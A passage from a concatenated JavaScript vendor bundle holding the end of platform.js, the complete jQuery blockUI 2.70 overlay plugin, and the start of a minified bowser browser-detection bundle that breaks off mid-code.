  4510.     }
  4511.     if (description.length) {
  4512.       platform.description = description.join(' ');
  4513.     }
  4514.     return platform;
  4515.   }
  4516.  
  4517.   /*--------------------------------------------------------------------------*/
  4518.  
  4519.   // Export platform.
  4520.   var platform = parse();
  4521.  
  4522.   // Some AMD build optimizers, like r.js, check for condition patterns like the following:
  4523.   if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {
  4524.     // Expose platform on the global object to prevent errors when platform is
  4525.     // loaded by a script tag in the presence of an AMD loader.
  4526.     // See http://requirejs.org/docs/errors.html#mismatch for more details.
  4527.     root.platform = platform;
  4528.  
  4529.     // Define as an anonymous module so platform can be aliased through path mapping.
  4530.     define(function() {
  4531.       return platform;
  4532.     });
  4533.   }
  4534.   // Check for `exports` after `define` in case a build optimizer adds an `exports` object.
  4535.   else if (freeExports && freeModule) {
  4536.     // Export for CommonJS support.
  4537.     forOwn(platform, function(value, key) {
  4538.       freeExports[key] = value;
  4539.     });
  4540.   }
  4541.   else {
  4542.     // Export to the global object.
  4543.     root.platform = platform;
  4544.   }
  4545. }.call(this));
  4546.  
  4547.  
  4548. /*!
  4549.  * jQuery blockUI plugin
  4550.  * Version 2.70.0-2014.11.23
  4551.  * Requires jQuery v1.7 or later
  4552.  *
  4553.  * Examples at: http://malsup.com/jquery/block/
  4554.  * Copyright (c) 2007-2013 M. Alsup
  4555.  * Dual licensed under the MIT and GPL licenses:
  4556.  * http://www.opensource.org/licenses/mit-license.php
  4557.  * http://www.gnu.org/licenses/gpl.html
  4558.  *
  4559.  * Thanks to Amir-Hossein Sobhi for some excellent contributions!
  4560.  */
  4561.  
  4562. ;(function() {
  4563. /*jshint eqeqeq:false curly:false latedef:false */
  4564. "use strict";
  4565.  
  4566.         function setup($) {
  4567.                 $.fn._fadeIn = $.fn.fadeIn;
  4568.  
  4569.                 var noOp = $.noop || function() {};
  4570.  
  4571.                 // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
  4572.                 // confusing userAgent strings on Vista)
  4573.                 var msie = /MSIE/.test(navigator.userAgent);
  4574.                 var ie6  = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
  4575.                 var mode = document.documentMode || 0;
  4576.                 var setExpr = $.isFunction( document.createElement('div').style.setExpression );
  4577.  
  4578.                 // global $ methods for blocking/unblocking the entire page
  4579.                 $.blockUI   = function(opts) { install(window, opts); };
  4580.                 $.unblockUI = function(opts) { remove(window, opts); };
  4581.  
  4582.                 // convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
  4583.                 $.growlUI = function(title, message, timeout, onClose) {
  4584.                         var $m = $('<div class="growlUI"></div>');
  4585.                         if (title) $m.append('<h1>'+title+'</h1>');
  4586.                         if (message) $m.append('<h2>'+message+'</h2>');
  4587.                         if (timeout === undefined) timeout = 3000;
  4588.  
  4589.                         // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
  4590.                         var callBlock = function(opts) {
  4591.                                 opts = opts || {};
  4592.  
  4593.                                 $.blockUI({
  4594.                                         message: $m,
  4595.                                         fadeIn : typeof opts.fadeIn  !== 'undefined' ? opts.fadeIn  : 700,
  4596.                                         fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
  4597.                                         timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
  4598.                                         centerY: false,
  4599.                                         showOverlay: false,
  4600.                                         onUnblock: onClose,
  4601.                                         css: $.blockUI.defaults.growlCSS
  4602.                                 });
  4603.                         };
  4604.  
  4605.                         callBlock();
  4606.                         var nonmousedOpacity = $m.css('opacity');
  4607.                         $m.mouseover(function() {
  4608.                                 callBlock({
  4609.                                         fadeIn: 0,
  4610.                                         timeout: 30000
  4611.                                 });
  4612.  
  4613.                                 var displayBlock = $('.blockMsg');
  4614.                                 displayBlock.stop(); // cancel fadeout if it has started
  4615.                                 displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
  4616.                         }).mouseout(function() {
  4617.                                 $('.blockMsg').fadeOut(1000);
  4618.                         });
  4619.                         // End konapun additions
  4620.                 };
  4621.  
  4622.                 // plugin method for blocking element content
  4623.                 $.fn.block = function(opts) {
  4624.                         if ( this[0] === window ) {
  4625.                                 $.blockUI( opts );
  4626.                                 return this;
  4627.                         }
  4628.                         var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
  4629.                         this.each(function() {
  4630.                                 var $el = $(this);
  4631.                                 if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
  4632.                                         return;
  4633.                                 $el.unblock({ fadeOut: 0 });
  4634.                         });
  4635.  
  4636.                         return this.each(function() {
  4637.                                 if ($.css(this,'position') == 'static') {
  4638.                                         this.style.position = 'relative';
  4639.                                         $(this).data('blockUI.static', true);
  4640.                                 }
  4641.                                 this.style.zoom = 1; // force 'hasLayout' in ie
  4642.                                 install(this, opts);
  4643.                         });
  4644.                 };
  4645.  
  4646.                 // plugin method for unblocking element content
  4647.                 $.fn.unblock = function(opts) {
  4648.                         if ( this[0] === window ) {
  4649.                                 $.unblockUI( opts );
  4650.                                 return this;
  4651.                         }
  4652.                         return this.each(function() {
  4653.                                 remove(this, opts);
  4654.                         });
  4655.                 };
  4656.  
  4657.                 $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
  4658.  
  4659.                 // override these in your code to change the default behavior and style
  4660.                 $.blockUI.defaults = {
  4661.                         // message displayed when blocking (use null for no message)
  4662.                         message:  '<h1>Please wait...</h1>',
  4663.  
  4664.                         title: null,            // title string; only used when theme == true
  4665.                         draggable: true,        // only used when theme == true (requires jquery-ui.js to be loaded)
  4666.  
  4667.                         theme: false, // set to true to use with jQuery UI themes
  4668.  
  4669.                         // styles for the message when blocking; if you wish to disable
  4670.                         // these and use an external stylesheet then do this in your code:
  4671.                         // $.blockUI.defaults.css = {};
  4672.                         css: {
  4673.                                 padding:        0,
  4674.                                 margin:         0,
  4675.                                 width:          '30%',
  4676.                                 top:            '40%',
  4677.                                 left:           '35%',
  4678.                                 textAlign:      'center',
  4679.                                 color:          '#000',
  4680.                                 border:         '3px solid #aaa',
  4681.                                 backgroundColor:'#fff',
  4682.                                 cursor:         'wait'
  4683.                         },
  4684.  
  4685.                         // minimal style set used when themes are used
  4686.                         themedCSS: {
  4687.                                 width:  '30%',
  4688.                                 top:    '40%',
  4689.                                 left:   '35%'
  4690.                         },
  4691.  
  4692.                         // styles for the overlay
  4693.                         overlayCSS:  {
  4694.                                 backgroundColor:        '#000',
  4695.                                 opacity:                        0.6,
  4696.                                 cursor:                         'wait'
  4697.                         },
  4698.  
  4699.                         // style to replace wait cursor before unblocking to correct issue
  4700.                         // of lingering wait cursor
  4701.                         cursorReset: 'default',
  4702.  
  4703.                         // styles applied when using $.growlUI
  4704.                         growlCSS: {
  4705.                                 width:          '350px',
  4706.                                 top:            '10px',
  4707.                                 left:           '',
  4708.                                 right:          '10px',
  4709.                                 border:         'none',
  4710.                                 padding:        '5px',
  4711.                                 opacity:        0.6,
  4712.                                 cursor:         'default',
  4713.                                 color:          '#fff',
  4714.                                 backgroundColor: '#000',
  4715.                                 '-webkit-border-radius':'10px',
  4716.                                 '-moz-border-radius':   '10px',
  4717.                                 'border-radius':                '10px'
  4718.                         },
  4719.  
  4720.                         // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
  4721.                         // (hat tip to Jorge H. N. de Vasconcelos)
  4722.                         /*jshint scripturl:true */
  4723.                         iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
  4724.  
  4725.                         // force usage of iframe in non-IE browsers (handy for blocking applets)
  4726.                         forceIframe: false,
  4727.  
  4728.                         // z-index for the blocking overlay
  4729.                         baseZ: 1000,
  4730.  
  4731.                         // set these to true to have the message automatically centered
  4732.                         centerX: true, // <-- only effects element blocking (page block controlled via css above)
  4733.                         centerY: true,
  4734.  
  4735.                         // allow body element to be stetched in ie6; this makes blocking look better
  4736.                         // on "short" pages.  disable if you wish to prevent changes to the body height
  4737.                         allowBodyStretch: true,
  4738.  
  4739.                         // enable if you want key and mouse events to be disabled for content that is blocked
  4740.                         bindEvents: true,
  4741.  
  4742.                         // be default blockUI will supress tab navigation from leaving blocking content
  4743.                         // (if bindEvents is true)
  4744.                         constrainTabKey: true,
  4745.  
  4746.                         // fadeIn time in millis; set to 0 to disable fadeIn on block
  4747.                         fadeIn:  200,
  4748.  
  4749.                         // fadeOut time in millis; set to 0 to disable fadeOut on unblock
  4750.                         fadeOut:  400,
  4751.  
  4752.                         // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
  4753.                         timeout: 0,
  4754.  
  4755.                         // disable if you don't want to show the overlay
  4756.                         showOverlay: true,
  4757.  
  4758.                         // if true, focus will be placed in the first available input field when
  4759.                         // page blocking
  4760.                         focusInput: true,
  4761.  
  4762.             // elements that can receive focus
  4763.             focusableElements: ':input:enabled:visible',
  4764.  
  4765.                         // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
  4766.                         // no longer needed in 2012
  4767.                         // applyPlatformOpacityRules: true,
  4768.  
  4769.                         // callback method invoked when fadeIn has completed and blocking message is visible
  4770.                         onBlock: null,
  4771.  
  4772.                         // callback method invoked when unblocking has completed; the callback is
  4773.                         // passed the element that has been unblocked (which is the window object for page
  4774.                         // blocks) and the options that were passed to the unblock call:
  4775.                         //      onUnblock(element, options)
  4776.                         onUnblock: null,
  4777.  
  4778.                         // callback method invoked when the overlay area is clicked.
  4779.                         // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
  4780.                         onOverlayClick: null,
  4781.  
  4782.                         // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
  4783.                         quirksmodeOffsetHack: 4,
  4784.  
  4785.                         // class name of the message block
  4786.                         blockMsgClass: 'blockMsg',
  4787.  
  4788.                         // if it is already blocked, then ignore it (don't unblock and reblock)
  4789.                         ignoreIfBlocked: false
  4790.                 };
  4791.  
  4792.                 // private data and functions follow...
  4793.  
  4794.                 var pageBlock = null;
  4795.                 var pageBlockEls = [];
  4796.  
  4797.                 function install(el, opts) {
  4798.                         var css, themedCSS;
  4799.                         var full = (el == window);
  4800.                         var msg = (opts && opts.message !== undefined ? opts.message : undefined);
  4801.                         opts = $.extend({}, $.blockUI.defaults, opts || {});
  4802.  
  4803.                         if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
  4804.                                 return;
  4805.  
  4806.                         opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
  4807.                         css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
  4808.                         if (opts.onOverlayClick)
  4809.                                 opts.overlayCSS.cursor = 'pointer';
  4810.  
  4811.                         themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
  4812.                         msg = msg === undefined ? opts.message : msg;
  4813.  
  4814.                         // remove the current block (if there is one)
  4815.                         if (full && pageBlock)
  4816.                                 remove(window, {fadeOut:0});
  4817.  
  4818.                         // if an existing element is being used as the blocking content then we capture
  4819.                         // its current place in the DOM (and current display style) so we can restore
  4820.                         // it when we unblock
  4821.                         if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
  4822.                                 var node = msg.jquery ? msg[0] : msg;
  4823.                                 var data = {};
  4824.                                 $(el).data('blockUI.history', data);
  4825.                                 data.el = node;
  4826.                                 data.parent = node.parentNode;
  4827.                                 data.display = node.style.display;
  4828.                                 data.position = node.style.position;
  4829.                                 if (data.parent)
  4830.                                         data.parent.removeChild(node);
  4831.                         }
  4832.  
  4833.                         $(el).data('blockUI.onUnblock', opts.onUnblock);
  4834.                         var z = opts.baseZ;
  4835.  
  4836.                         // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
  4837.                         // layer1 is the iframe layer which is used to supress bleed through of underlying content
  4838.                         // layer2 is the overlay layer which has opacity and a wait cursor (by default)
  4839.                         // layer3 is the message content that is displayed while blocking
  4840.                         var lyr1, lyr2, lyr3, s;
  4841.                         if (msie || opts.forceIframe)
  4842.                                 lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
  4843.                         else
  4844.                                 lyr1 = $('<div class="blockUI" style="display:none"></div>');
  4845.  
  4846.                         if (opts.theme)
  4847.                                 lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
  4848.                         else
  4849.                                 lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
  4850.  
  4851.                         if (opts.theme && full) {
  4852.                                 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
  4853.                                 if ( opts.title ) {
  4854.                                         s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  4855.                                 }
  4856.                                 s += '<div class="ui-widget-content ui-dialog-content"></div>';
  4857.                                 s += '</div>';
  4858.                         }
  4859.                         else if (opts.theme) {
  4860.                                 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
  4861.                                 if ( opts.title ) {
  4862.                                         s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  4863.                                 }
  4864.                                 s += '<div class="ui-widget-content ui-dialog-content"></div>';
  4865.                                 s += '</div>';
  4866.                         }
  4867.                         else if (full) {
  4868.                                 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
  4869.                         }
  4870.                         else {
  4871.                                 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
  4872.                         }
  4873.                         lyr3 = $(s);
  4874.  
  4875.                         // if we have a message, style it
  4876.                         if (msg) {
  4877.                                 if (opts.theme) {
  4878.                                         lyr3.css(themedCSS);
  4879.                                         lyr3.addClass('ui-widget-content');
  4880.                                 }
  4881.                                 else
  4882.                                         lyr3.css(css);
  4883.                         }
  4884.  
  4885.                         // style the overlay
  4886.                         if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
  4887.                                 lyr2.css(opts.overlayCSS);
  4888.                         lyr2.css('position', full ? 'fixed' : 'absolute');
  4889.  
  4890.                         // make iframe layer transparent in IE
  4891.                         if (msie || opts.forceIframe)
  4892.                                 lyr1.css('opacity',0.0);
  4893.  
  4894.                         //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
  4895.                         var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
  4896.                         $.each(layers, function() {
  4897.                                 this.appendTo($par);
  4898.                         });
  4899.  
  4900.                         if (opts.theme && opts.draggable && $.fn.draggable) {
  4901.                                 lyr3.draggable({
  4902.                                         handle: '.ui-dialog-titlebar',
  4903.                                         cancel: 'li'
  4904.                                 });
  4905.                         }
  4906.  
  4907.                         // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
  4908.                         var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
  4909.                         if (ie6 || expr) {
  4910.                                 // give body 100% height
  4911.                                 if (full && opts.allowBodyStretch && $.support.boxModel)
  4912.                                         $('html,body').css('height','100%');
  4913.  
  4914.                                 // fix ie6 issue when blocked element has a border width
  4915.                                 if ((ie6 || !$.support.boxModel) && !full) {
  4916.                                         var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
  4917.                                         var fixT = t ? '(0 - '+t+')' : 0;
  4918.                                         var fixL = l ? '(0 - '+l+')' : 0;
  4919.                                 }
  4920.  
  4921.                                 // simulate fixed position
  4922.                                 $.each(layers, function(i,o) {
  4923.                                         var s = o[0].style;
  4924.                                         s.position = 'absolute';
  4925.                                         if (i < 2) {
  4926.                                                 if (full)
  4927.                                                         s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
  4928.                                                 else
  4929.                                                         s.setExpression('height','this.parentNode.offsetHeight + "px"');
  4930.                                                 if (full)
  4931.                                                         s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
  4932.                                                 else
  4933.                                                         s.setExpression('width','this.parentNode.offsetWidth + "px"');
  4934.                                                 if (fixL) s.setExpression('left', fixL);
  4935.                                                 if (fixT) s.setExpression('top', fixT);
  4936.                                         }
  4937.                                         else if (opts.centerY) {
  4938.                                                 if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
  4939.                                                 s.marginTop = 0;
  4940.                                         }
  4941.                                         else if (!opts.centerY && full) {
  4942.                                                 var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
  4943.                                                 var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
  4944.                                                 s.setExpression('top',expression);
  4945.                                         }
  4946.                                 });
  4947.                         }
  4948.  
  4949.                         // show the message
  4950.                         if (msg) {
  4951.                                 if (opts.theme)
  4952.                                         lyr3.find('.ui-widget-content').append(msg);
  4953.                                 else
  4954.                                         lyr3.append(msg);
  4955.                                 if (msg.jquery || msg.nodeType)
  4956.                                         $(msg).show();
  4957.                         }
  4958.  
  4959.                         if ((msie || opts.forceIframe) && opts.showOverlay)
  4960.                                 lyr1.show(); // opacity is zero
  4961.                         if (opts.fadeIn) {
  4962.                                 var cb = opts.onBlock ? opts.onBlock : noOp;
  4963.                                 var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
  4964.                                 var cb2 = msg ? cb : noOp;
  4965.                                 if (opts.showOverlay)
  4966.                                         lyr2._fadeIn(opts.fadeIn, cb1);
  4967.                                 if (msg)
  4968.                                         lyr3._fadeIn(opts.fadeIn, cb2);
  4969.                         }
  4970.                         else {
  4971.                                 if (opts.showOverlay)
  4972.                                         lyr2.show();
  4973.                                 if (msg)
  4974.                                         lyr3.show();
  4975.                                 if (opts.onBlock)
  4976.                                         opts.onBlock.bind(lyr3)();
  4977.                         }
  4978.  
  4979.                         // bind key and mouse events
  4980.                         bind(1, el, opts);
  4981.  
  4982.                         if (full) {
  4983.                                 pageBlock = lyr3[0];
  4984.                                 pageBlockEls = $(opts.focusableElements,pageBlock);
  4985.                                 if (opts.focusInput)
  4986.                                         setTimeout(focus, 20);
  4987.                         }
  4988.                         else
  4989.                                 center(lyr3[0], opts.centerX, opts.centerY);
  4990.  
  4991.                         if (opts.timeout) {
  4992.                                 // auto-unblock
  4993.                                 var to = setTimeout(function() {
  4994.                                         if (full)
  4995.                                                 $.unblockUI(opts);
  4996.                                         else
  4997.                                                 $(el).unblock(opts);
  4998.                                 }, opts.timeout);
  4999.                                 $(el).data('blockUI.timeout', to);
  5000.                         }
  5001.                 }
  5002.  
  5003.                 // remove the block
  5004.                 function remove(el, opts) {
  5005.                         var count;
  5006.                         var full = (el == window);
  5007.                         var $el = $(el);
  5008.                         var data = $el.data('blockUI.history');
  5009.                         var to = $el.data('blockUI.timeout');
  5010.                         if (to) {
  5011.                                 clearTimeout(to);
  5012.                                 $el.removeData('blockUI.timeout');
  5013.                         }
  5014.                         opts = $.extend({}, $.blockUI.defaults, opts || {});
  5015.                         bind(0, el, opts); // unbind events
  5016.  
  5017.                         if (opts.onUnblock === null) {
  5018.                                 opts.onUnblock = $el.data('blockUI.onUnblock');
  5019.                                 $el.removeData('blockUI.onUnblock');
  5020.                         }
  5021.  
  5022.                         var els;
  5023.                         if (full) // crazy selector to handle odd field errors in ie6/7
  5024.                                 els = $('body').children().filter('.blockUI').add('body > .blockUI');
  5025.                         else
  5026.                                 els = $el.find('>.blockUI');
  5027.  
  5028.                         // fix cursor issue
  5029.                         if ( opts.cursorReset ) {
  5030.                                 if ( els.length > 1 )
  5031.                                         els[1].style.cursor = opts.cursorReset;
  5032.                                 if ( els.length > 2 )
  5033.                                         els[2].style.cursor = opts.cursorReset;
  5034.                         }
  5035.  
  5036.                         if (full)
  5037.                                 pageBlock = pageBlockEls = null;
  5038.  
  5039.                         if (opts.fadeOut) {
  5040.                                 count = els.length;
  5041.                                 els.stop().fadeOut(opts.fadeOut, function() {
  5042.                                         if ( --count === 0)
  5043.                                                 reset(els,data,opts,el);
  5044.                                 });
  5045.                         }
  5046.                         else
  5047.                                 reset(els, data, opts, el);
  5048.                 }
  5049.  
  5050.                 // move blocking element back into the DOM where it started
  5051.                 function reset(els,data,opts,el) {
  5052.                         var $el = $(el);
  5053.                         if ( $el.data('blockUI.isBlocked') )
  5054.                                 return;
  5055.  
  5056.                         els.each(function(i,o) {
  5057.                                 // remove via DOM calls so we don't lose event handlers
  5058.                                 if (this.parentNode)
  5059.                                         this.parentNode.removeChild(this);
  5060.                         });
  5061.  
  5062.                         if (data && data.el) {
  5063.                                 data.el.style.display = data.display;
  5064.                                 data.el.style.position = data.position;
  5065.                                 data.el.style.cursor = 'default'; // #59
  5066.                                 if (data.parent)
  5067.                                         data.parent.appendChild(data.el);
  5068.                                 $el.removeData('blockUI.history');
  5069.                         }
  5070.  
  5071.                         if ($el.data('blockUI.static')) {
  5072.                                 $el.css('position', 'static'); // #22
  5073.                         }
  5074.  
  5075.                         if (typeof opts.onUnblock == 'function')
  5076.                                 opts.onUnblock(el,opts);
  5077.  
  5078.                         // fix issue in Safari 6 where block artifacts remain until reflow
  5079.                         var body = $(document.body), w = body.width(), cssW = body[0].style.width;
  5080.                         body.width(w-1).width(w);
  5081.                         body[0].style.width = cssW;
  5082.                 }
  5083.  
  5084.                 // bind/unbind the handler
  5085.                 function bind(b, el, opts) {
  5086.                         var full = el == window, $el = $(el);
  5087.  
  5088.                         // don't bother unbinding if there is nothing to unbind
  5089.                         if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
  5090.                                 return;
  5091.  
  5092.                         $el.data('blockUI.isBlocked', b);
  5093.  
  5094.                         // don't bind events when overlay is not in use or if bindEvents is false
  5095.                         if (!full || !opts.bindEvents || (b && !opts.showOverlay))
  5096.                                 return;
  5097.  
  5098.                         // bind anchors and inputs for mouse and key events
  5099.                         var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
  5100.                         if (b)
  5101.                                 $(document).bind(events, opts, handler);
  5102.                         else
  5103.                                 $(document).unbind(events, handler);
  5104.  
  5105.                 // former impl...
  5106.                 //              var $e = $('a,:input');
  5107.                 //              b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
  5108.                 }
  5109.  
  5110.                 // event handler to suppress keyboard/mouse events when blocking
  5111.                 function handler(e) {
  5112.                         // allow tab navigation (conditionally)
  5113.                         if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
  5114.                                 if (pageBlock && e.data.constrainTabKey) {
  5115.                                         var els = pageBlockEls;
  5116.                                         var fwd = !e.shiftKey && e.target === els[els.length-1];
  5117.                                         var back = e.shiftKey && e.target === els[0];
  5118.                                         if (fwd || back) {
  5119.                                                 setTimeout(function(){focus(back);},10);
  5120.                                                 return false;
  5121.                                         }
  5122.                                 }
  5123.                         }
  5124.                         var opts = e.data;
  5125.                         var target = $(e.target);
  5126.                         if (target.hasClass('blockOverlay') && opts.onOverlayClick)
  5127.                                 opts.onOverlayClick(e);
  5128.  
  5129.                         // allow events within the message content
  5130.                         if (target.parents('div.' + opts.blockMsgClass).length > 0)
  5131.                                 return true;
  5132.  
  5133.                         // allow events for content that is not being blocked
  5134.                         return target.parents().children().filter('div.blockUI').length === 0;
  5135.                 }
  5136.  
  5137.                 function focus(back) {
  5138.                         if (!pageBlockEls)
  5139.                                 return;
  5140.                         var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
  5141.                         if (e)
  5142.                                 e.focus();
  5143.                 }
  5144.  
  5145.                 function center(el, x, y) {
  5146.                         var p = el.parentNode, s = el.style;
  5147.                         var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
  5148.                         var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
  5149.                         if (x) s.left = l > 0 ? (l+'px') : '0';
  5150.                         if (y) s.top  = t > 0 ? (t+'px') : '0';
  5151.                 }
  5152.  
  5153.                 function sz(el, p) {
  5154.                         return parseInt($.css(el,p),10)||0;
  5155.                 }
  5156.  
  5157.         }
  5158.  
  5159.  
  5160.         /*global define:true */
  5161.         if (typeof define === 'function' && define.amd && define.amd.jQuery) {
  5162.                 define(['jquery'], setup);
  5163.         } else {
  5164.                 setup(jQuery);
  5165.         }
  5166.  
  5167. })();
  5168.  
  5169.  
  5170. !function(t,n){"object"==typeof exports&&"object"==typeof module?module.exports=n():"function"==typeof define&&define.amd?define([],n):"object"==typeof exports?exports.bowser=n():t.bowser=n()}(this,(function(){return function(t){var n={};function e(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,e),i.l=!0,i.exports}return e.m=t,e.c=n,e.d=function(t,n,r){e.o(t,n)||Object.defineProperty(t,n,{enumerable:!0,get:r})},e.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},e.t=function(t,n){if(1&n&&(t=e(t)),8&n)return t;if(4&n&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(e.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&n&&"string"!=typeof t)for(var i in t)e.d(r,i,function(n){return t[n]}.bind(null,i));return r},e.n=function(t){var n=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(n,"a",n),n},e.o=function(t,n){return Object.prototype.hasOwnProperty.call(t,n)},e.p="",e(e.s=129)}([function(t,n,e){var r=e(1),i=e(7),o=e(14),u=e(11),a=e(19),c=function(t,n,e){var s,f,l,h,d=t&c.F,p=t&c.G,v=t&c.S,g=t&c.P,y=t&c.B,m=p?r:v?r[n]||(r[n]={}):(r[n]||{}).prototype,b=p?i:i[n]||(i[n]={}),S=b.prototype||(b.prototype={});for(s in p&&(e=n),e)l=((f=!d&&m&&void 0!==m[s])?m:e)[s],h=y&&f?a(l,r):g&&"function"==typeof l?a(Function.call,l):l,m&&u(m,s,l,t&c.U),b[s]!=l&&o(b,s,h),g&&S[s]!=l&&(S[s]=l)};r.core=i,c.F=1,c.G=2,c.S=4,c.P=8,c.B=16,c.W=32,c.U=64,c.R=128,t.exports=c},function(t,n){var e=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=e)},function(t,n){t.exports=function(t){try{return!!t()}catch(t){return!0}}},function(t,n,e){var r=e(4);t.exports=function(t){if(!r(t))throw TypeError(t+" is not an object!");return t}},function(t,n){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},function(t,n,e){var r=e(50)("wks"),i=e(31),o=e(1).Symbol,u="function"==typeof o;(t.exports=function(t){return r[t]||(r[t]=u&&o[t]||(u?o:i)("Symbol."+t))}).store=r},function(t,n,e){var r=e(21),i=Math.min;t.exports=function(t){return t>0?i(r(t),9007199254740991):0}},function(t,n){var e=t.exports={version:"2.6.12"};"number"==typeof __e&&(__e=e)},function(t,n,e){t.exports=!e(2)((function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a}))},function(t,n,e){var r=e(3),i=e(96),o=e(28),u=Object.defineProperty;n.f=e(8)?Object.defineProperty:function(t,n,e){if(r(t),n=o(n,!0),r(e),i)try{return u(t,n,e)}catch(t){}if("get"in e||"set"in e)throw TypeError("Accessors not supported!");return"value"in e&&(t[n]=e.value),t}},function(t,n,e){var r=e(26);t.exports=function(t){return Object(r(t))}},function(t,n,e){var r=e(1),i=e(14),o=e(13),u=e(31)("src"),a=e(134),c=(""+a).split("toString");e(7).inspectSource=function(t){return a.call(t)},(t.exports=function(t,n,e,a){var s="function"==typeof e;s&&(o(e,"name")||i(e,"name",n)),t[n]!==e&&(s&&(o(e,u)||i(e,u,t[n]?""+t[n]:c.join(String(n)))),t===r?t[n]=e:a?t[n]?t[n]=e:i(t,n,e):(delete t[n],i(t,n,e)))})(Function.prototype,"toString",(function(){return"function"==typeof this&&this[u]||a.call(this)}))},function(t,n,e){var r=e(0),i=e(2),o=e(26),u=/"/g,a=function(t,n,e,r){var i=String(o(t)),a="<"+n;return""!==e&&(a+=" "+e+'="'+String(r).replace(u,"&quot;")+'"'),a+">"+i+"</"+n+">"};t.exports=function(t,n){var e={};e[t]=n(a),r(r.P+r.F*i((function(){var n=""[t]('"');return n!==n.toLowerCase()||n.split('"').length>3})),"String",e)}},function(t,n){var e={}.hasOwnProperty;t.exports=function(t,n){return e.call(t,n)}},function(t,n,e){var r=e(9),i=e(30);t.exports=e(8)?function(t,n,e){return r.f(t,n,i(1,e))}:function(t,n,e){return t[n]=e,t}},function(t,n,e){var r=e(46),i=e(26);t.exports=function(t){return r(i(t))}},function(t,n,e){"use strict";var r=e(2);t.exports=function(t,n){return!!t&&r((function(){n?t.call(null,(function(){}),1):t.call(null)}))}},function(t,n,e){"use strict";n.__esModule=!0,n.default=void 0;var 